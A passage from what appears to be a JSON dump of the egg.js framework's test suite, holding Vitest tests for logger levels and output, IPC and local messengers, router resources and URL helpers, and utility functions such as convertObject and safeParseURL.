    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm } from '@eggjs/mock';\nimport { levels } from 'egg-logger';\nimport { describe, it, afterEach, beforeAll, afterAll } from 'vitest';\n\nimport { type MockApplication, createApp, cluster, getFilepath } from '../../utils.ts';\n\ndescribe('test/lib/core/logger.test.ts', () => {\n  let app: MockApplication | undefined;\n  afterEach(async () => {\n    if (app && !app.isClosed) {\n      await scheduler.wait(500);\n      await app.close();\n      app = undefined;\n    }\n    await mm.restore();\n  });\n\n  it('should got right default config on prod env', async () => {\n    mm.env('prod');\n    mm(process.env, 'EGG_LOG', '');\n    mm(process.env, 'HOME', getFilepath('apps/mock-production-app/config'));\n    app = createApp('apps/mock-production-app');\n    await app.ready();\n\n    // 生产环境默认 _level = info\n    assert((app.logger.get('file') as any).options.level === levels.INFO);\n    // stdout 默认 INFO\n    assert((app.logger.get('console') as any).options.level === levels.INFO);\n    assert((app.coreLogger.get('file') as any).options.level === levels.INFO);\n    assert((app.coreLogger.get('console') as any).options.level === levels.INFO);\n    assert(app.config.logger.disableConsoleAfterReady === true);\n\n    await app.close();\n  });\n\n  it('should got right level on prod env when set allowDebugAtProd to true', async () => {\n    mm.env('prod');\n    mm(process.env, 'EGG_LOG', '');\n    mm(process.env, 'HOME', getFilepath('apps/mock-production-app-do-not-force/config'));\n    app = createApp('apps/mock-production-app-do-not-force');\n    await app.ready();\n\n    assert(app.config.logger.allowDebugAtProd === true);\n\n    assert((app.logger.get('file') as any).options.level === levels.DEBUG);\n    assert((app.logger.get('console') as any).options.level === levels.INFO);\n    assert((app.coreLogger.get('file') as any).options.level === levels.DEBUG);\n    assert((app.coreLogger.get('console') as any).options.level === levels.INFO);\n    await app.close();\n  });\n\n  it('should got right level on local env', async () => {\n    mm.env('local');\n    mm(process.env, 'EGG_LOG', '');\n    app = createApp('apps/mock-dev-app1');\n    await app.ready();\n\n    assert((app.logger.get('file') as any).options.level === levels.INFO);\n    assert((app.logger.get('console') as any).options.level === levels.INFO);\n    assert((app.coreLogger.get('file') as any).options.level === levels.INFO);\n    assert((app.coreLogger.get('console') as any).options.level === levels.WARN);\n    assert(app.config.logger.disableConsoleAfterReady === false);\n\n    await app.close();\n  });\n\n  it('should set EGG_LOG level on local env', async () => {\n    mm.env('local');\n    mm(process.env, 'EGG_LOG', 'ERROR');\n    app = createApp('apps/mock-dev-app2');\n    await app.ready();\n\n    assert((app.logger.get('file') as any).options.level === levels.INFO);\n    assert((app.logger.get('console') as any).options.level === levels.ERROR);\n    assert((app.coreLogger.get('file') as any).options.level === levels.INFO);\n    assert((app.coreLogger.get('console') as any).options.level === levels.ERROR);\n    assert(app.config.logger.disableConsoleAfterReady === false);\n\n    await app.close();\n  });\n\n  it('should got right config on unittest env', async () => {\n    mm.env('unittest');\n    mm(process.env, 'EGG_LOG', '');\n    app = createApp('apps/mock-dev-app3');\n    await app.ready();\n\n    assert((app.logger.get('file') as any).options.level === levels.INFO);\n    assert((app.logger.get('console') as any).options.level === levels.WARN);\n    assert((app.coreLogger.get('file') as any).options.level === levels.INFO);\n    assert((app.coreLogger.get('console') as any).options.level === levels.WARN);\n    assert(app.config.logger.disableConsoleAfterReady === false);\n\n    await app.close();\n  });\n\n  it('should set log.consoleLevel to env.EGG_LOG', async () => {\n    mm(process.env, 'EGG_LOG', 'ERROR');\n    app = createApp('apps/mock-dev-app4');\n    await app.ready();\n\n    assert((app.logger.get('file') as any).options.level === levels.INFO);\n    assert((app.logger.get('console') as any).options.level === levels.ERROR);\n    await app.close();\n  });\n\n  it('log buffer disable cache on local and unittest env', async () => {\n    mm(process.env, 'EGG_LOG', 'NONE');\n    app = createApp('apps/nobuffer-logger');\n    await app.ready();\n    assert(app.config.logger.disableConsoleAfterReady === false);\n\n    const ctx = app.mockContext();\n    const logfile = path.join(app.config.logger.dir, 'common-error.log');\n    // app.config.logger.buffer.should.equal(false);\n    ctx.logger.error(new Error('mock nobuffer error on logger'));\n    ctx.coreLogger.error(new Error('mock nobuffer error on coreLogger'));\n    await scheduler.wait(1000);\n    if (process.platform !== 'darwin') {\n      // skip check on macOS\n      const content = fs.readFileSync(logfile, 'utf8');\n      assert.match(content, /nodejs\\.Error: mock nobuffer error on logger/);\n      assert.match(content, /nodejs\\.Error: mock nobuffer error on coreLogger/);\n    }\n\n    await app.close();\n  });\n\n  it('log buffer enable cache on non-local and non-unittest env', async () => {\n    mm(process.env, 'EGG_LOG', 'none');\n    mm.env('prod');\n    mm(process.env, 'HOME', getFilepath('apps/mock-production-app/config'));\n    app = createApp('apps/mock-production-app');\n    await app.ready();\n\n    assert(app.config.logger.disableConsoleAfterReady === true);\n    const ctx = app.mockContext();\n    const logfile = path.join(app.config.logger.dir, 'common-error.log');\n    // app.config.logger.buffer.should.equal(true);\n    ctx.logger.error(new Error('mock enable buffer error'));\n\n    await scheduler.wait(1000);\n\n    assert(fs.readFileSync(logfile, 'utf8').includes(''));\n\n    await app.close();\n  });\n\n  it('output .json format log', async () => {\n    mm(process.env, 'EGG_LOG', 'none');\n    mm.env('local');\n    app = createApp('apps/logger-output-json');\n    await app.ready();\n\n    const ctx = app.mockContext();\n    const logfile = path.join(app.config.logger.dir, 'logger-output-json-web.json.log');\n    ctx.logger.info('json format');\n\n    await scheduler.wait(2000);\n\n    assert(fs.existsSync(logfile));\n    assert(fs.readFileSync(logfile, 'utf8').includes('\"message\":\"json format\"'));\n\n    await app.close();\n  });\n\n  it.skip('dont output to console after app ready', async () => {\n    mm.env('default');\n    app = cluster('apps/logger');\n    await app\n      // .debug(false)\n      // .coverage(false)\n      .expect('stdout', /agent info/)\n      .expect('stdout', /app info/)\n      .notExpect('stdout', /app info after ready/)\n      .expect('stderr', /nodejs.Error: agent error/)\n      .expect('stderr', /nodejs.Error: app error/)\n      .end();\n\n    await app.close();\n  });\n\n  it('should still output to console after app ready on local env', async () => {\n    mm.env('local');\n    app = cluster('apps/logger');\n    await app\n      // .debug()\n      .coverage(false)\n      .expect('stdout', /agent info/)\n      .expect('stdout', /app info/)\n      .expect('stdout', /app info after ready/)\n      .expect('stderr', /nodejs.Error: agent error/)\n      .expect('stderr', /nodejs.Error: app error/)\n      .end();\n\n    await app.close();\n  });\n\n  it('agent and app error should output to common-error.log', async () => {\n    const baseDir = getFilepath('apps/logger');\n    mm.env('default');\n    mm(process.env, 'EGG_LOG', 'none');\n    mm(process.env, 'EGG_HOME', baseDir);\n    app = cluster('apps/logger');\n    await app.ready();\n\n    await scheduler.wait(1000);\n    const content = fs.readFileSync(path.join(baseDir, 'logs/logger/common-error.log'), 'utf8');\n    assert(content.includes('nodejs.Error: agent error'));\n    assert(content.includes('nodejs.Error: app error'));\n\n    await app.close();\n  });\n\n  it('all loggers error should redirect to errorLogger', async () => {\n    app = createApp('apps/logger');\n    await app.ready();\n\n    app.logger.error(new Error('logger error'));\n    app.coreLogger.error(new Error('coreLogger error'));\n    app.loggers.errorLogger.error(new Error('errorLogger error'));\n    app.loggers.customLogger.error(new Error('customLogger error'));\n\n    await scheduler.wait(1000);\n\n    const content = fs.readFileSync(path.join(app.baseDir, 'logs/logger/common-error.log'), 'utf8');\n    assert(content.includes('nodejs.Error: logger error'));\n    assert(content.includes('nodejs.Error: coreLogger error'));\n    assert(content.includes('nodejs.Error: errorLogger error'));\n    assert(content.includes('nodejs.Error: customLogger error'));\n\n    await app.close();\n  });\n\n  it(\"agent's logger is same as coreLogger\", async () => {\n    app = createApp('apps/logger');\n    await app.ready();\n\n    assert(app.agent.logger.options.file === app.agent.coreLogger.options.file);\n\n    await app.close();\n  });\n\n  it('should `config.logger.enableFastContextLogger` = true work', async () => {\n    app = createApp('apps/app-enableFastContextLogger');\n    await app.ready();\n    app.mockContext({\n      tracer: {\n        traceId: 'mock-trace-id-123',\n      },\n    });\n    await app.httpRequest().get('/').expect(200).expect({\n      enableFastContextLogger: true,\n    });\n    await scheduler.wait(1000);\n    app.expectLog(/ INFO \\d+ \\[-\\/127\\.0\\.0\\.1\\/mock-trace-id-123\\/[\\d.]+ms GET \\/] enableFastContextLogger: true/);\n\n    await app.close();\n  });\n\n  describe('logger.level = DEBUG', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = createApp('apps/logger-level-debug');\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should save debug log to file', async () => {\n      await app.httpRequest().get('/').expect('ok');\n      assert(fs.readFileSync(path.join(app.config.baseDir, 'logs/foo/foo-web.log'), 'utf8').includes(' DEBUG '));\n    });\n  });\n\n  describe('onelogger', () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = createApp('apps/custom-logger');\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should work with onelogger', async () => {\n      await app\n        .httpRequest()\n        .get('/')\n        .expect({\n          ok: true,\n        })\n        .expect(200);\n      await scheduler.wait(1000);\n      app.expectLog('[custom-logger-label] hello myLogger', 'myLogger');\n      app.expectLog('hello logger');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/messenger/ipc.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { once } from 'node:events';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterEach, afterAll } from 'vitest';\n\nimport { Messenger } from '../../../../src/lib/core/messenger/ipc.ts';\nimport { cluster, type MockApplication } from '../../../utils.ts';\n\ndescribe.skip('test/lib/core/messenger/ipc.test.ts', () => {\n  let messenger: Messenger;\n  const app: any = {};\n\n  beforeAll(() => {\n    messenger = new Messenger(app);\n  });\n\n  afterEach(mm.restore);\n\n  describe('on(action, data)', () => {\n    it('should listen an action event', async () => {\n      const dataEvent = once(messenger, 'messenger-test-on-event');\n      process.emit('message', {}, undefined);\n      process.emit('message', null, undefined);\n      process.emit(\n        'message',\n        {\n          action: 'messenger-test-on-event',\n          data: {\n            success: true,\n          },\n        },\n        undefined,\n      );\n\n      const data = await dataEvent;\n      assert.deepEqual(data[0], {\n        success: true,\n      });\n    });\n  });\n\n  describe('close()', () => {\n    it('should remove all listeners', () => {\n      const messenger = new Messenger(app);\n      messenger.on('messenger-test-on-event-2', () => {\n        throw new Error('should never emitted');\n      });\n\n      messenger.close();\n\n      process.emit(\n        'message',\n        {\n          action: 'messenger-test-on-event-2',\n          data: {\n            success: true,\n          },\n        },\n        undefined,\n      );\n    });\n  });\n\n  describe('cluster messenger', () => {\n    let app: MockApplication;\n    afterAll(() => app.close());\n\n    // use it to record create coverage codes time\n    it('before: should start cluster app', async () => {\n      app = cluster('apps/messenger');\n      app.coverage(true);\n      await app.ready();\n      await scheduler.wait(1000);\n    });\n\n    it('app should accept agent message', () => {\n      app.expect('stdout', /\\[app] agent-to-app agent msg/);\n    });\n\n    it('app should accept agent assign pid message', () => {\n      app.expect('stdout', /\\[app] agent-to-app agent msg \\d+/);\n    });\n\n    it('agent should accept app message', () => {\n      app.expect('stdout', /\\[agent] app-to-agent app msg/);\n    });\n\n    it('agent should not send message before started', () => {\n      app.expect('stdout', /agent can't call sendTo before server started/);\n      app.expect('stdout', /agent can't call sendToApp before server started/);\n      app.expect('stdout', /agent can't call sendToAgent before server started/);\n      app.expect('stdout', /agent can't call sendRandom before server started/);\n      app.expect('stdout', /agent can't call broadcast before server started/);\n    });\n  });\n\n  describe.skip('broadcast()', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      mm.env('default');\n      app = cluster('apps/messenger-broadcast', { workers: 2 });\n      app.coverage(false);\n      return app.ready();\n    });\n    beforeAll(() => scheduler.wait(1000));\n    afterAll(() => app.close());\n\n    it('should broadcast each other', () => {\n      // app 26496 receive message from app pid 26495\n      // app 26496 receive message from app pid 26496\n      // app 26495 receive message from app pid 26495\n      // app 26495 receive message from app pid 26496\n      // app 26495 receive message from agent pid 26494\n      // app 26496 receive message from agent pid 26494\n      // agent 26494 receive message from app pid 26495\n      // agent 26494 receive message from app pid 26496\n      // agent 26494 receive message from agent pid 26494\n      const m = app.stdout.match(/(app|agent) \\d+ receive message from (app|agent) pid \\d+/g);\n      assert.equal(m.length, 9);\n    });\n  });\n\n  describe.skip('sendRandom', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      mm.env('default');\n      app = cluster('apps/messenger-random', { workers: 4 });\n      app.coverage(false);\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('app should accept agent message', async () => {\n      await scheduler.wait(10000);\n\n      const m = app.stdout.match(/\\d+=\\d+/g);\n      const map = new Map();\n      for (const item of m) {\n        const a = item.split('=');\n        map.set(a[0], a[1]);\n      }\n      // for (const [ pid, count ] of map) {\n      //   console.log('pid: %s, %s', pid, count);\n      // }\n      assert(map.size <= 4);\n      assert(map.size >= 2);\n    });\n  });\n\n  describe('sendToApp and sentToAgent', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      mm.env('default');\n      app = cluster('apps/messenger-app-agent', { workers: 2 });\n      app.coverage(false);\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('app should accept agent message', async () => {\n      function count(data: string, key: string) {\n        return data.split('\\n').filter((line) => {\n          return line.indexOf(key) >= 0;\n        }).length;\n      }\n      await scheduler.wait(500);\n      assert(count(app.stdout, 'agent2app') === 2);\n      assert(count(app.stdout, 'app2app') === 4);\n      assert(count(app.stdout, 'agent2agent') === 1);\n      assert(count(app.stdout, 'app2agent') === 2);\n    });\n  });\n\n  describe('worker_threads mode', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      mm.env('default');\n      app = cluster('apps/messenger-app-agent', {\n        workers: 1,\n        startMode: 'worker_threads',\n      });\n      app.coverage(false);\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('app should accept agent message', async () => {\n      function count(data: string, key: string) {\n        return data.split('\\n').filter((line) => {\n          return line.indexOf(key) >= 0;\n        }).length;\n      }\n\n      await scheduler.wait(500);\n      assert(count(app.stdout, 'agent2app') === 1);\n      assert(count(app.stdout, 'app2app') === 1);\n      assert(count(app.stdout, 'agent2agent') === 1);\n      assert(count(app.stdout, 'app2agent') === 1);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/messenger/local.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { mm } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { singleProcessApp, type SingleModeApplication } from '../../../utils.ts';\n\ndescribe('test/lib/core/messenger/local.test.ts', () => {\n  let app: SingleModeApplication;\n\n  beforeAll(async () => {\n    app = await singleProcessApp('apps/demo');\n  });\n\n  afterAll(() => app.close());\n\n  afterEach(async () => {\n    await mm.restore();\n    app.messenger.close();\n    app.agent.messenger.close();\n  });\n\n  describe('broadcast()', () => {\n    it('app.messenger.broadcast should work', (done) => {\n      // // @ts-ignore\n      // done = pending(2, done);\n      // app.messenger.once('broadcast-event', (msg: unknown) => {\n      //   assert.deepEqual(msg, { foo: 'bar' });\n      //   // @ts-ignore\n      //   done();\n      // });\n      app.agent.messenger.once('broadcast-event', (msg: unknown) => {\n        assert.deepEqual(msg, { foo: 'bar' });\n        // @ts-ignore\n        done();\n      });\n\n      app.messenger.broadcast('broadcast-event', { foo: 'bar' });\n    });\n\n    it('agent.messenger.broadcast should work', (done) => {\n      // // @ts-ignore\n      // done = pending(2, done);\n      // app.messenger.once('broadcast-event', (msg: unknown) => {\n      //   assert.deepEqual(msg, { foo: 'bar' });\n      //   // @ts-ignore\n      //   done();\n      // });\n      app.agent.messenger.once('broadcast-event', (msg: unknown) => {\n        assert.deepEqual(msg, { foo: 'bar' });\n        // @ts-ignore\n        done();\n      });\n\n      app.agent.messenger.broadcast('broadcast-event', { foo: 'bar' });\n    });\n  });\n\n  describe('sendToApp()', () => {\n    it('app.messenger.sendToApp should work', (done) => {\n      app.agent.messenger.once('sendToApp-event', () => {\n        throw new Error('should not emit on agent');\n      });\n\n      app.messenger.once('sendToApp-event', (msg: unknown) => {\n        assert.deepEqual(msg, { foo: 'bar' });\n        // @ts-ignore\n        done();\n      });\n\n      app.messenger.sendToApp('sendToApp-event', { foo: 'bar' });\n    });\n\n    it('agent.messenger.sendToApp should work', (done) => {\n      app.agent.messenger.once('sendToApp-event', () => {\n        throw new Error('should not emit on agent');\n      });\n\n      app.messenger.once('sendToApp-event', (msg: unknown) => {\n        assert.deepEqual(msg, { foo: 'bar' });\n        // @ts-ignore\n        done();\n      });\n\n      app.agent.messenger.sendToApp('sendToApp-event', { foo: 'bar' });\n    });\n  });\n\n  describe('sendToAgent()', () => {\n    it('app.messenger.sendToAgent should work', (done) => {\n      app.agent.messenger.once('sendToAgent-event', (msg: unknown) => {\n        assert.deepEqual(msg, { foo: 'bar' });\n        // @ts-ignore\n        done();\n      });\n\n      app.messenger.once('sendToAgent-event', () => {\n        throw new Error('should not emit on app');\n      });\n\n      app.messenger.sendToAgent('sendToAgent-event', { foo: 'bar' });\n    });\n\n    it('agent.messenger.sendToAgent should work', (done) => {\n      app.agent.messenger.once('sendToAgent-event', (msg: unknown) => {\n        assert.deepEqual(msg, { foo: 'bar' });\n        // @ts-ignore\n        done();\n      });\n\n      app.messenger.once('sendToAgent-event', () => {\n        throw new Error('should not emit on app');\n      });\n\n      app.agent.messenger.sendToAgent('sendToAgent-event', { foo: 'bar' });\n    });\n  });\n\n  describe('sendRandom()', () => {\n    it('app.messenger.sendRandom should work', (done) => {\n      app.agent.messenger.once('sendRandom-event', (msg: unknown) => {\n        assert.deepEqual(msg, { foo: 'bar' });\n        // @ts-ignore\n        done();\n      });\n\n      app.messenger.once('sendRandom-event', () => {\n        throw new Error('should not emit on app');\n      });\n\n      app.messenger.sendRandom('sendRandom-event', { foo: 'bar' });\n    });\n\n    it('agent.messenger.sendRandom should work', (done) => {\n      app.agent.messenger.once('sendRandom-event', () => {\n        throw new Error('should not emit on agent');\n      });\n\n      app.messenger.once('sendRandom-event', (msg: unknown) => {\n        assert.deepEqual(msg, { foo: 'bar' });\n        // @ts-ignore\n        done();\n      });\n\n      app.agent.messenger.sendRandom('sendRandom-event', { foo: 'bar' });\n    });\n  });\n\n  describe('sendTo(pid)', () => {\n    it('app.messenger.sendTo should work', (done) => {\n      // // @ts-ignore\n      // done = pending(2, done);\n      // app.messenger.once('sendTo-event', (msg: unknown) => {\n      //   assert.deepEqual(msg, { foo: 'bar' });\n      //   // @ts-ignore\n      //   done();\n      // });\n      app.agent.messenger.once('sendTo-event', (msg: unknown) => {\n        assert.deepEqual(msg, { foo: 'bar' });\n        // @ts-ignore\n        done();\n      });\n\n      // keep compatible with old code, use process.pid as number\n      let res = (app.messenger as any).sendTo(process.pid, 'sendTo-event', {\n        foo: 'bar',\n      });\n      assert(res === app.messenger);\n      // should ignore if target process is not self\n      res = app.messenger.sendTo('1', 'sendTo-event', { foo: 'bar' });\n      assert(res === app.messenger);\n    });\n\n    it('agent.messenger.sendTo should work', (done) => {\n      // // @ts-ignore\n      // done = pending(done, 2);\n      // app.messenger.once('sendTo-event', (msg: unknown) => {\n      //   assert.deepEqual(msg, { foo: 'bar' });\n      //   // @ts-ignore\n      //   done();\n      // });\n      app.agent.messenger.once('sendTo-event', (msg: unknown) => {\n        assert.deepEqual(msg, { foo: 'bar' });\n        // @ts-ignore\n        done();\n      });\n\n      app.agent.messenger.sendTo(String(process.pid), 'sendTo-event', {\n        foo: 'bar',\n      });\n    });\n  });\n\n  describe('send()', () => {\n    it('app.messenger.send should not throw when app.agent not exist', () => {\n      mm(app, 'agent', undefined);\n      app.messenger.send('send-event', { foo: 'bar' });\n    });\n\n    it('app.messenger.send should work', (done) => {\n      app.agent.messenger.once('send-event', (msg: unknown) => {\n        assert.deepEqual(msg, { foo: 'bar' });\n        // @ts-ignore\n        done();\n      });\n\n      app.messenger.once('send-event', () => {\n        throw new Error('should not emit on app');\n      });\n\n      app.messenger.send('send-event', { foo: 'bar' });\n    });\n\n    it('agent.messenger.send should work', (done) => {\n      app.agent.messenger.once('send-event', () => {\n        throw new Error('should not emit on agent');\n      });\n\n      app.messenger.once('send-event', (msg: unknown) => {\n        assert.deepEqual(msg, { foo: 'bar' });\n        // @ts-ignore\n        done();\n      });\n\n      app.agent.messenger.send('send-event', { foo: 'bar' });\n    });\n  });\n\n  describe('onMessage()', () => {\n    it('should ignore if message format error', () => {\n      (app.messenger as any).onMessage();\n      app.messenger.onMessage('foo');\n      app.messenger.onMessage({ action: 1 });\n    });\n\n    it('should emit with action', (done) => {\n      app.messenger.once(\n        'test-action', // @ts-ignore\n        done,\n      );\n      app.messenger.onMessage({ action: 'test-action' });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/router.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { mm } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { type MockApplication, createApp, getFilepath } from '../../utils.ts';\n\ndescribe('test/lib/core/router.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = createApp({\n      baseDir: getFilepath('apps/router-app'),\n    });\n    return app.ready();\n  });\n  afterAll(() => app && app.close());\n\n  afterEach(mm.restore);\n\n  describe('router.resources', () => {\n    describe('normal', () => {\n      it('should GET /posts', () => {\n        return app.httpRequest().get('/posts').expect(200).expect('index');\n      });\n\n      it('should GET /posts/new', () => {\n        return app.httpRequest().get('/posts/new').expect(200).expect('new');\n      });\n\n      it('should POST /posts', () => {\n        return app.httpRequest().post('/posts').expect(200).expect('create');\n      });\n\n      it('should GET /posts/:id', () => {\n        return app.httpRequest().get('/posts/123').expect(200).expect('show - 123');\n      });\n\n      it('should GET /posts/:id/edit', () => {\n        return app.httpRequest().get('/posts/123/edit').expect(200).expect('edit - 123');\n      });\n\n      it('should PUT /posts/:id', () => {\n        return app.httpRequest().put('/posts/123').expect(200).expect('update - 123');\n      });\n\n      it('should DELETE /posts/:id', () => {\n        return app.httpRequest().delete('/posts/123').expect(200).expect('destroy - 123');\n      });\n    });\n\n    describe('controller url', () => {\n      it('should GET /members', () => {\n        return app.httpRequest().get('/members').expect(200).expect('index');\n      });\n\n      it('should GET /members/index', () => {\n        return app.httpRequest().get('/members/index').expect(200).expect('index');\n      });\n\n      it('should GET /members/new', () => {\n        return app.httpRequest().get('/members/new').expect(200).expect('new');\n      });\n\n      it('should GET /members/:id', () => {\n        return app.httpRequest().get('/members/1231').expect(200).expect('show - 1231');\n      });\n\n      it('should POST /members', () => {\n        return app.httpRequest().post('/members').expect(404);\n      });\n\n      it('should PUT /members/:id', () => {\n        return app.httpRequest().put('/members/1231').expect(404);\n      });\n\n      it('should GET /POSTS', () => {\n        return app.httpRequest().get('/POSTS').expect(404);\n      });\n    });\n  });\n\n  describe('router.url', () => {\n    it('should work', () => {\n      assert(app.router.url('posts') === '/posts');\n      assert(app.router.url('members') === '/members');\n      assert(app.router.url('post', { id: 1 }) === '/posts/1');\n      assert(app.router.url('member', { id: 1 }) === '/members/1');\n      assert(app.router.url('new_post') === '/posts/new');\n      assert(app.router.url('new_member') === '/members/new');\n      assert(app.router.url('edit_post', { id: 1 }) === '/posts/1/edit');\n    });\n\n    it('should work with unknown params', () => {\n      assert(app.router.url('posts', { name: 'foo', page: 2 }) === '/posts?name=foo&page=2');\n      assert(app.router.url('posts', { name: 'foo&?', page: 2 }) === '/posts?name=foo%26%3F&page=2');\n      assert(app.router.url('edit_post', { id: 10, page: 2 }) === '/posts/10/edit?page=2');\n      assert(app.router.url('edit_post', { i: 2, id: 10 }) === '/posts/10/edit?i=2');\n      assert(\n        app.router.url('edit_post', {\n          id: 10,\n          page: 2,\n          tags: ['chair', 'develop'],\n        }) === '/posts/10/edit?page=2&tags=chair&tags=develop',\n      );\n      assert(\n        app.router.url('edit_post', {\n          id: [10],\n          page: [2],\n          tags: ['chair', 'develop'],\n        }) === '/posts/10/edit?page=2&tags=chair&tags=develop',\n      );\n      assert(\n        app.router.url('edit_post', {\n          id: [10, 11],\n          page: [2],\n          tags: ['chair', 'develop'],\n        }) === '/posts/10/edit?page=2&tags=chair&tags=develop',\n      );\n    });\n  });\n\n  describe('router.pathFor', () => {\n    it('should work', () => {\n      assert(app.router.pathFor('posts') === '/posts');\n    });\n  });\n\n  describe('router.method', () => {\n    it('router method include HEAD', () => {\n      assert(app.router.methods.includes('HEAD'));\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/utils.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it } from 'vitest';\n\nimport * as utils from '../../../src/lib/core/utils.ts';\n\ndescribe('test/lib/core/utils.test.js', () => {\n  describe('convertObject()', () => {\n    it('should convert primitive', () => {\n      const s = Symbol('symbol');\n      const obj = {\n        string$: 'string',\n        number$: 1,\n        null$: null,\n        undefined$: undefined,\n        boolean$: true,\n        symbol$: s,\n      };\n      utils.convertObject(obj, []);\n      assert(obj.string$ === 'string');\n      assert(obj.number$ === 1);\n      assert(obj.null$ === null);\n      assert(obj.undefined$ === undefined);\n      assert(obj.boolean$ === true);\n      assert.equal(obj.symbol$, 'Symbol(symbol)');\n    });\n\n    it('should convert regexp', () => {\n      const obj = {\n        regexp$: /^a$/g,\n      };\n      utils.convertObject(obj, []);\n      assert.equal(obj.regexp$, '/^a$/g');\n    });\n\n    it('should convert date', () => {\n      const obj = {\n        date$: new Date(),\n      };\n      utils.convertObject(obj, []);\n      assert.equal(obj.date$, '<Date>');\n    });\n\n    it('should convert function', () => {\n      const obj = {\n        function$: function a() {\n          console.log(a);\n        },\n        arrowFunction$: (a: any) => {\n          console.log(a);\n        },\n        anonymousFunction$: function (a: any) {\n          console.log(a);\n        },\n        // oxlint-disable-next-line require-yield\n        generatorFunction$: function* a(a: any) {\n          console.log(a);\n        },\n        asyncFunction$: async function a(a: any) {\n          console.log(a);\n        },\n      };\n      utils.convertObject(obj);\n      assert.equal(obj.function$, '<Function a>');\n      assert.equal(obj.arrowFunction$, '<Function arrowFunction$>');\n      assert.equal(obj.anonymousFunction$, '<Function anonymousFunction$>');\n      assert.equal(obj.generatorFunction$, '<GeneratorFunction a>');\n      assert.equal(obj.asyncFunction$, '<AsyncFunction a>');\n    });\n\n    it('should convert error', () => {\n      class TestError extends Error {}\n      const obj = {\n        errorClass$: Error,\n        errorClassExtend$: TestError,\n        error$: new Error('a'),\n        errorExtend$: new TestError('a'),\n      };\n      utils.convertObject(obj);\n      assert.equal(obj.errorClass$, '<Function Error>');\n      assert.equal(obj.errorClassExtend$, '<Class TestError>');\n      assert.equal(obj.error$, '<Error>');\n      assert.equal(obj.errorExtend$, '<TestError>');\n    });\n\n    it('should convert class', () => {\n      class BaseClass {}\n      class Class extends BaseClass {}\n      const obj = {\n        class$: BaseClass,\n        classExtend$: Class,\n      };\n      utils.convertObject(obj);\n      assert.equal(obj.class$, '<Class BaseClass>');\n      assert.equal(obj.classExtend$, '<Class Class>');\n    });\n\n    it('should convert buffer', () => {\n      class SlowBuffer extends Buffer {}\n      const obj = {\n        bufferClass$: Buffer,\n        bufferClassExtend$: SlowBuffer,\n        buffer$: Buffer.from('123'),\n        bufferExtend$: SlowBuffer.from('123'),\n      };\n      utils.convertObject(obj);\n      assert.equal(obj.bufferClass$, '<Function Buffer>');\n      assert.equal(obj.bufferClassExtend$, '<Class SlowBuffer>');\n      assert.equal(obj.buffer$, '<Buffer len: 3>');\n      assert.equal(obj.bufferExtend$, '<Buffer len: 3>');\n    });\n\n    it('should convert ignore', () => {\n      const s = Symbol('symbol');\n      const obj = {\n        string$: 'string',\n        number$: 1,\n        null$: null,\n        undefined$: undefined,\n        boolean$: true,\n        symbol$: s,\n        regexp$: /^a$/g,\n      };\n      utils.convertObject(obj, ['string$', 'number$', 'null$', 'undefined$', 'boolean$', 'symbol$', 'regexp$']);\n      assert.equal(obj.string$, '<String len: 6>');\n      assert.equal(obj.number$, '<Number>');\n      assert.equal(obj.null$, null);\n      assert.equal(obj.undefined$, undefined);\n      assert.equal(obj.boolean$, '<Boolean>');\n      assert.equal(obj.symbol$, '<Symbol>');\n      assert.equal(obj.regexp$, '<RegExp>');\n    });\n\n    it('should convert a plain recursive object', () => {\n      const obj = {\n        plainObj: 'Plain',\n        Id: 1,\n        recurisiveObj: {\n          value1: 'string',\n          value2: 1,\n          ignoreValue: /^[a-z]/,\n        },\n      };\n      utils.convertObject(obj, ['ignoreValue']);\n      assert.equal(obj.recurisiveObj.value1, 'string');\n      assert.equal(obj.recurisiveObj.value2, 1);\n      assert.equal(obj.recurisiveObj.ignoreValue, '<RegExp>');\n      assert.equal(obj.plainObj, 'Plain');\n      assert.equal(obj.Id, 1);\n    });\n\n    it('should convert an anonymous class', () => {\n      const obj = {\n        anonymousClassWithPropName: class {},\n        '': class {},\n      };\n      utils.convertObject(obj);\n      assert.equal(obj.anonymousClassWithPropName, '<Class anonymousClassWithPropName>');\n      assert.equal(obj[''], '<Class anonymous>');\n    });\n  });\n\n  describe('safeParseURL()', () => {\n    it('should return null if url invalid', () => {\n      assert.equal(utils.safeParseURL('https://eggjs.org%0a.com'), null);\n      assert.equal(utils.safeParseURL('/path/for'), null);\n    });\n\n    it('should return parsed url', () => {\n      assert.equal(utils.safeParseURL('https://eggjs.org')!.hostname, 'eggjs.org');\n      assert.equal(utils.safeParseURL('https://eggjs.org!.foo.com')!.hostname, 'eggjs.org!.foo.com');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/lib/core/view.test.ts",
